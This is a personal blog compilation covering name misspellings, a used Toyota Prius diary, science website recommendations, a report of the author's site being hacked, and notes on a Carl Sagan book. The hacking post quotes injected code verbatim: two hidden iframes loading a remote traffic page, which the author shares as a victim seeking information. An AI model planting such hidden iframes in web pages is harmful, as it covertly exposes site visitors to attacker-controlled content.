With a name like Blas Uberuaga, I often see some very odd ways in which it is distorted. I’ll post them here as I get them. I must have the worst hand-writing to get some of these readings.
The most recent, and probably worst butchering I have ever seen, came from Whirlpool Home Products:
Elas Aberugel
I think I could use some of these for characters in some sci-fi or fantasy story some day.
Lisa and I just got a 2004 Toyota Prius. So, it is a couple of years old but in good condition and has low milage. I thought I’d keep a “diary” of sorts here on what we think and how this experience goes.
We both really like the display. It is definitely fun to play with. Maybe a little too fun, especially when you are watching it as you drive down the road. But, presumably, some of that novelty will wear off and it won’t be as distracting.
We already had a crisis moment with the car. Lisa tried to start it and it wouldn’t go into drive or reverse. It would only go into neutral. We had no idea what was wrong except for some service light was on and the manual said take it to the dealer. This was before we had a real chance to drive it! (Due to some snafus and incompetence at the local DMV (or MVD as they are called in New Mexico).) It turns out that there is an easy fix, as I found out at this Wiki site. It seems this is a well known problem, even a recalled problem. So, it looks like we’ll need to go to the dealer anyways. At least it was simple to fix, but it is frustrating that before you even get to drive the car, you run into a problem like that.
Overall, we’ve enjoyed it so far. The only other odd thing we found is that, when planning a mock trip to Idaho, it picked a route that is significantly longer than the one we often do. And we couldn’t get it to pick the one we prefer (through Utah), the one that MapQuest picks as the shortest path. So, we aren’t sure why that is. But, that is a minor thing.
More news as we get it.
Whether you like it or not, science holds a central and critical role in modern society. Even those of us who are science-adverse still have the cell phone, the car, and the TV that are the direct result of scientific innovation. But, beyond that, science has transformed how we view the universe, as well as how we view our place within it. It behooves all of us to know at least a little bit about science so that we can better understand the world in which we live. Here are a few science related sites I stumbled upon that are worth the visit.
The American Institute of Physics, publisher of Physics Today, also runs the Center for History of Physics. Their mission (from their website):
AIP’s Center for History of Physics works to to preserve and make known the historical record of modern physics and allied sciences. Through documentation, archival collections and educational initiatives, the Center ensures that the heritage of modern physics is safeguarded and its story accurately told.
One of the exhibits in the Center is Cosmic Journey: A History of Scientific Cosmology. This exhibit traces the development of human understanding and views of the universe in which we live, from the beginnings of a scientific approach to looking at the universe of the Greeks to the most recent tools scientists are using today to examine the mysteries of the universe. They also have exhibits on Marie Curie, Albert Einstein, the transistor, Heisenberg and uncertainty and more.
Game theory is an up and coming field that tries to bring the rigor of mathematics to human endeavors such as economics, political science and business. Perhaps the most famous game in game theory is the prisoner’s dilemma, as described on the site gametheory.net:
A game frequently displayed in television police dramas. Two partners in crime are separated into separate rooms at the police station and given a similar deal. If one implicates the other, he may go free while the other receives a life in prison. If neither implicates the other, both are given moderate sentences, and if both implicate the other, the sentences for both are severe.
The role of game theory is to understand what choices people would make in situations like this, if those choices can be predicted, and if those choices are “rational,” or make sense. gametheory.net gives a nice introduction to this field, including interactive games to demonstrate some of the basic principles of game theory.
Mathematics is a broad field with differing levels of applicability to other, more “mundane” disciplines. One example of a branch of mathematics that started off as mathematicians doing math just for the hell of it, but has begun having ramifications for science, is the area of knot theory. For example, knot theory is playing a role in string theory, the supposed successor to quantum field theory and the current best candidate for a Grand Unified Theory of everything.
knotplot.com offers an amazing software package, for Mac, Windows and even Linux, for manipulating knots on your computer. In addition to generating pretty pictures (like the one above), you can use the software to examine the topology of knots, such as reducing complex knots to their simplest form (unfolding them). The software is very fun to play with and generates some stunning graphics that would make for an excellent screen saver.
The final site I wanted to mention today is Ben Goldacre’s Bad Science blog. Dr. Goldacre is a doctor and journalist in Britain and he writes a bad science column for The Guardian. His work has appeared in other media as well. In his blog, he discusses the scientific “merits” (or non-merits, more often than not) of reports in the media that claim some scientific legitimacy. He has taken it upon himself to expose bad scientific claims in order to both educate the public about misleading reports as well as to help people learn when scientific claims are not so scientific after all.
Today, I awoke to find that my website was not quite behaving like normal. I was getting a lot of PHP errors and my brother reported getting a virus warning when logging into my forum. It turns out that someone had exploited a security hole in some software that drives the site. Fortunately, all they did was append a bit of code to files (instead of removing files or something more malicious). Unfortunately, it was quite a few files and it took me a while to fix them all. The files affected all had names containing the words index, login, header, footer, default… things like this. The big of code they included was:
I’m putting it here as I couldn’t find anywhere on the web any description of who these guys were or what the site they were linking back to was about (the site just timed out when I tried to go there directly). So if anyone knows anything about these guys, I’d be interested in hearing about it.
<IFRAME name=’StatPage’ src=’http://www.555traff.com/trf/traf.php‘ width=5 height=5 style=’display:none’> </IFRAME> <IFRAME name=’StatPage’ src=’http://www.555traff.com/trf/traf.php’ width=5 height=5 style=’display:none’> </IFRAME>
It turns out that the hole was easily fixed by my hosting company, which is nice. But it still caused more stress and wasted effort than I’m happy with.
Started reading: ~08/01/01
Finished reading: ~09/01/01
Notes written: 10/26/01
I write these notes more than a month after I finished reading the book. I felt it was a very good book, maybe preaching to the choir in my case, but still making a very good case for the need for skepticism, of a need to think rationally about the things that we encounter every day. Sagan recounts many instances of people being fooled by hoaxes, both obvious and not so obvious, of believing them even after the hoax is revealed. People so desperately want to believe something, anything. They don’t look at things rationally, they don’t try to analyze them. They take things at face value, never trying to understand things more deeply than at the level that they are first told.
Sagan makes strong arguements for the need to strengthen scientific education, not only here, but in all parts of the world. People, especially now, now that our world is dominated by the products of science, need to understand that science more. To be able to intelligently interact with their world, they need to understand it better.
Sagan also points out the similarties between the current “fad” of alien sightings and abduction stories and the apparitions of the Virgin in the middle ages. Of how neither have any hard evidence for their occurence, but still are believed at face value. He describes how current knowledge of the workings of the brain do seem to lead credance to the idea of mass delusions. He looks at the witch trials of previous centuries to show how the majority of people can be brought to believe something that is not true, even something that the educated people of the time try to tell them is false.
Sagan does a great job of telling us why we need to learn science, why we need to think skeptically and critically. He also is sympathetic with people and their desire to believe these things. He would be the happiest man in the world if aliens did exist and visit us, but he sees no evidence of such happenings. He knows that people need to believe, need to escape from their world, either because it is mundane, or depressing, or too horrible to deal with. In some ways, it is an interesting comparison with The Amazing Adventures of Kavalier and Clay. There, comic books exist as a doorway to escape. Sagan knows that people need to escape, but he also feels that we need to be careful, that we can’t confuse reality – that which we can test, for which we have evidence – with fantasy. Joe, in The Amazing Adventures of Kavalier and Clay, sees the ability to escape as necessary, as the only thing that has helped him to deal with the events in his life. Sagan, I think, doesn’t feel this is bad, just that people need to be able to tell the fantasies of their escape from the reality around them. And, the key way to be able to do this is to know more about science, as a window to understanding reality, as a tool for doing so.
I agree completely with everything Sagan says. I may not be quite as wanting to find aliens or these things, but I am wanting the fantastic to be real. I would like to see ghosts and have these other shades of existence be real. But, as Sagan, I don’t see any evidence for these things. I think that we all need to be a bit more of a scientist, that we need to be able to tell reality from fantasy just a bit more than most of us are able to. I think that many of us are easily swayed and confused by stories of the fantastic, that we so desperately want to believe in something that lets us escape our mundane lives, our lives too horrible to deal with, that we latch on to anything that comes along. We are, in some real sense, sheep, that would rather be told what to believe than to try to investigate the world and learn how it is for ourselves. This isn’t true just of the nature of reality, but also in every realm of human existence. We are told by our governments what to believe about the enemy, we don’t think for ourselves. Blind patriotism plays the same role here as blind faith in religion. We don’t think for ourselves, we just believe the status quo given to us by those in power. Sagan wants us all to be a bit more scientific so we can also deal with these kinds of fantasies as well.